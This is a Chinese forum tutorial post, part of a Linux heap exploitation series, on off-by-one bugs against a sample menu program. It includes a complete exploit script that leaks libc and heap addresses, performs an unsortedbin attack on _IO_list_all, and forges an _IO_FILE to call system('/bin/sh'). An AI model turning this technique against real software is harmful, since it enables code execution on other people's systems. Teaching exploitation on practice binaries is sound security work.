吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5980|回复: 54
收起左侧

[系统底层] 从零开始的Linux堆利用(八)——Off By One

  [复制链接]
呆毛王与咖喱棒 发表于 2021-11-17 15:23

有疑惑的话可以从前面几节看起,相关内容可以看我的博客

这一节的内容是Off-By-One

相比于溢出、UAF、Double Free等漏洞,Off-By-One其实更加容易出现

Off-By-One是指在程序输入时由于边界条件没有检查好,导致能够多输入一个字节的漏洞;

还有更加特殊的情况——Off-By-Null,即能够多输入一个\x00字符

在栈上如果仅仅只是能多输入一个字符,这样一般也很难造成特别大的影响,但是堆就不一样了。

堆上的一个特殊地方就在于prev_inuse

这个位用来标识前一个chunk是否是在用的状态,如果将一个位清零,就可能让堆管理器认为前一个chunk是free的状态,从而分配两次,进一步能导致UAF的问题。

在实践之前还需要了解一个堆的机制,Remaindering

Remaindering

Remaindering实际上就是当无法直接申请到大小合适的chunk时,malloc将一个free chunk分为两个小的chunk,并将其中一个合适大小的分配出去,剩余的chunk加到unsortebin中的过程。

这种处理方式会在三种情况下出现:

  • 从largebins中分配时
  • 搜索binmap过程中
  • unsortedbin遍历时

这一节中的内容涉及到的是unsortedbin遍历时的情况,另外两种情况在后面学习时进行介绍;

再看一眼这个堆结构图

image-20210310161659389

其中在Top Chunk和unsortedbin的fd之间有一项last_remainder

这个字段存储的chunk仅仅可用于大小处于smallbin的申请

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */

在遍历unsortedbin时,如果满足了这样的条件则会从last_remainder中申请分配chunk

实践

文字上的描述看起来又臭又长,还是直接用实例看一下吧。

image-20211107181407166

可以看到这个例子程序安全保护机制全开

运行的时候支持这么几种常见的功能:申请、编辑、读、释放

相比之前的示例程序,这个程序并没有输出堆的地址和libc的地址

因此我们在利用时首先需要泄漏libc

但是并不能决定malloc的大小,每次申请的内存都是0x60

<img src="https://static.hack1s.fun/images/2021/11/07/image-20211107182339845.png" alt="image-20211107182339845" style="zoom:50%;" />

虽然菜单写的是malloc,但是实际上程序申请内存使用的是calloc

两者的差别主要是calloc申请内存后会将内容置0

漏洞点是edit功能可以编辑比malloc的大小多一个字节的内容

image-20211108135109353

泄漏libc地址

想要泄漏出libc的地址,可以考虑使用unsortedbin leak

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()

edit(chunk_A,b'Y'*0x58 + b'\xc1')
free(chunk_B)

首先我们修改chunk_B的大小为0xc1

为两个0x60,这样chunk_B就包含了申请时的B和C

这时free掉chunk_B会被加入到unsortedbin中

由于unsortedbin目前只有这一项,fd、bk都会指向main_arena

image-20211108141053515

如果能设法读到fd和bk

就可以得到一个libc中的地址

那么问题来了,这时我们再申请一个chunk,这个chunk的起始位置会在哪里呢?

image-20211115184628435

可以看到再次申请的chunk还是在B的位置

image-20211115184923962

原本大小为0xc0的unsortedbin发生了remaindering,切分为了两部分

其中0x60分配给我们这次的申请,另外的0x60又重新被放到了unsortedbin中,也就是我们原本C的位置

看到发生了remaindering之后,main_arena.last_remainder中的值变成了切分下来的这个部分;

那么接下来直接读C的内容就可以得到图中0x7fffd7dd4b78这个指针了

这个值减去88就是main_arena的地址,由此得到了一个libc的地址

offset = lib.sym.main_arena + 88

data = u64(read(chunk_C)[:8])

libc.address = data - offset

泄漏堆地址

现在我们有了一个泄漏的libc地址,就可以利用house_of_orange中的技巧,用unsortedbin attack尝试覆盖_IO_list_all的vtable了

这样我们需要在堆上伪造一个_IO_FILE出来,但是要确定vtable的值还需要泄漏一个堆上的地址

那么我们就可以利用目前chunk_C这里的双重指针,构造出一个fastbin的fd

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

这样chunk_C的前8个字节就变成了一个fastbin的fd,指向的是chunk_A的位置即堆的起始地址

image-20211116133127445

heap = u64(read(chunk_C)[:8])
log.info(f"heap @ {heap:02x}")

unsortedbin attack

接下来就是利用unsortedbin attack完成之前house of orange中的最后一步

修改_IO_list_all

这里要完成unsortedbin attack我们其实可以在获取libc地址和获取堆地址之间完成

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()

edit(chunk_A,b'Y'*0x58 + b'\xc1')
free(chunk_B)

offset = lib.sym.main_arena + 88
data = u64(read(chunk_C)[:8])
libc.address = data - offset
log.info(f"libc @ {libc:02x}")

edit(chunk_C, p64(0) + p64(libc.sym._IO_list_all - 0x10))

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

heap = u64(read(chunk_C)[:8])
log.info(f"heap @ {heap:02x}")

只需要加一句edit(chunk_C)就可以

回忆一下unsortedbin attack,我们只要控制了bk,就可以在任意位置写入一个当前chunk的地址;

将fd设置为任意值,bk设置为_IO_list_all - 0x10

这样就可以将_IO_list_all覆盖为chunk_C的地址了

image-20211116155238895

接下来需要做的是在堆上构造一个 _IO_FILE,我们可以先直接将之前house of orange中的payload复制过来

payload = b"Y"*0x10
flag = b'/bin/sh\x00'

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)                                                                                                                             
overflow = p64(libc.sym.system)

payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable

这里面有一部分最初的填充是不需要的,另外vtable的值可能也需要变一变

去掉开头的填充后整个payload的长度是224,即0xE0

如果从chunk_C开始算起,那么我们还是需要三个0x60大小的chunk来放这些内容

edit(chunk_B,p64(0)*10+b"/bin/sh\x00")
edit(chunk_C,p64(fd)+p64(bk)+p64(1)+p64(2))
edit(chunk_E,p64(libc.sym.system)+p64(vtable))

计算之后vtable的值应该设置为heap+0x178

image-20211116193809247

图中绿色是/bin/sh的字符串

粉色是write_basewrite_ptr,已经设置为了1和2

红色是overflow函数指针,设置为了system的地址

蓝色是vtable指针,重新指向了heap+0x178

这时只要再次malloc,将unsortedbin sort到0x60的smallbin中,_IO_list_all就会顺着_chain指向我们伪造的_IO_FILE


但是再次malloc会发现,什么都没有发生

这是因为我们申请的chunk大小本身就是0x60,再次malloc时这个unsortebin根本不会sort,由于大小刚刚好,直接就给我们分配过来了

跟着_IO_list_all的指针看一下,可以发现_IO_list_all.file._chain._chain还是在main_arena

image-20211116194429079

对照着arena的分布图可以得知这个位置是0xb0大小的smallbin

既然0x60的没办法sort,那我们可以在申请前再一次利用off by one的漏洞把原本0x60大小的unsortedbin伪造为0xb0大小

这样让_IO_list_all指针指两层后再指向我们申请的chunk_C处

那么就是需要修改一下chunk_B的edit那句

edit(chunk_B,p64(0)*10+b"/bin/sh\x00"+b'\xb1')

最后增加了一个字节的修改

image-20211116194819999

修改完成之后,再次malloc

image-20211116195438001

就得到了一个shell

完整的payload

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()
chunk_E = malloc()

edit(chunk_A, b"Y"*0x50+ p64(0x60) + b'\xc1')

free(chunk_B)

chunk_B = malloc()
data = u64(read(chunk_C)[:8])
offset = libc.sym.main_arena + 0x58
libc.address = data - offset
log.info(f"libc @ 0x{libc.address:02x}")

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

heap = u64(read(chunk_C)[:8])
log.info(f"heap @ 0x{heap:02x}")

chunk_C2 = malloc()
chunk_A = malloc()

edit(chunk_A, b"Y"*0x50 + p64(0x60)+b'\xc1')
free(chunk_B)

chunk_B = malloc()

vtable = heap + 0x178
edit(chunk_B,p64(0)*10+b'/bin/sh\x00\xb1')
edit(chunk_C,p64(0)+p64(libc.sym._IO_list_all-0x10)+p64(1)+p64(2))
edit(chunk_E,p64(libc.sym.system)+p64(vtable))

malloc()

总结

总结一下,栈漏洞中的溢出一个字节一般比较难造成很大影响

但是堆中的off by one可以覆盖prev_inuse位,导致有可能出现两个指针指向一块内存的情况,进一步可以用unsortedbin leak泄漏libc地址、fastbin泄漏堆地址、unsortebin attack结合伪造_IO_FILE一系列操作拿到shell



off by one.zip

6.2 KB, 下载次数: 16, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 21吾爱币 +21 热心值 +20 收起 理由
longestusername + 1 + 1 谢谢@Thanks!
73033 + 1 + 1 用心讨论,共获提升!
JinxBoy + 1 + 1 谢谢@Thanks!
pierhu + 1 热心回复!
feiwu1173 + 1 + 1 谢谢@Thanks!
Bizhi-1024 + 1 用心讨论,共获提升!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
XhyEax + 3 + 1 我很赞同!
795734576 + 1 谢谢@Thanks!
遇日不归 + 1 + 1 我很赞同!
hxqz123 + 1 + 1 谢谢@Thanks!
Yc0 + 1 + 1 用心讨论,共获提升!
xzl666 + 1 谢谢@Thanks!
chinawolf2000 + 1 + 1 热心回复!
lengxuanjin + 1 + 1 谢谢@Thanks!
没事路过 + 1 + 1 谢谢@Thanks!
KylinYang + 1 + 1 用心讨论,共获提升!
王星星 + 2 + 1 谢谢@Thanks!
fengshengshou + 1 + 1 谢谢@Thanks!
huluobo312 + 1 + 1 谢谢@Thanks!写的太好了,群主连载更新快点,哈哈
liushuai1102 + 1 热心回复!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

_Stars 发表于 2021-11-30 10:02
单字节溢出的漏洞常常都是人为因素较多,实际场景中还是由于字符串拷贝或内存复制中出现的空字节溢出漏洞多一点,相对的利用难度也大一点。
YVKG 发表于 2021-11-17 15:55
DXSN 发表于 2021-11-17 16:29
fengshengshou 发表于 2021-11-17 17:11
先存后学,好厉害的样子~
taitancom 发表于 2021-11-17 17:13
谢谢,看看先!
smnra 发表于 2021-11-17 17:24
虽然我看不懂, 但是感觉和漏洞相关的都是很高大上的.
流泪的小白 发表于 2021-11-17 17:33
学习到了,感谢分享
aresxin 发表于 2021-11-17 18:47
楼主好厉害啊我简直太菜了
Ninol233 发表于 2021-11-17 18:49
学习了学习了,十分感谢大哥的分享
roylee666 发表于 2021-11-17 19:17
学习了楼主, 谢谢你的分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 12:00

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表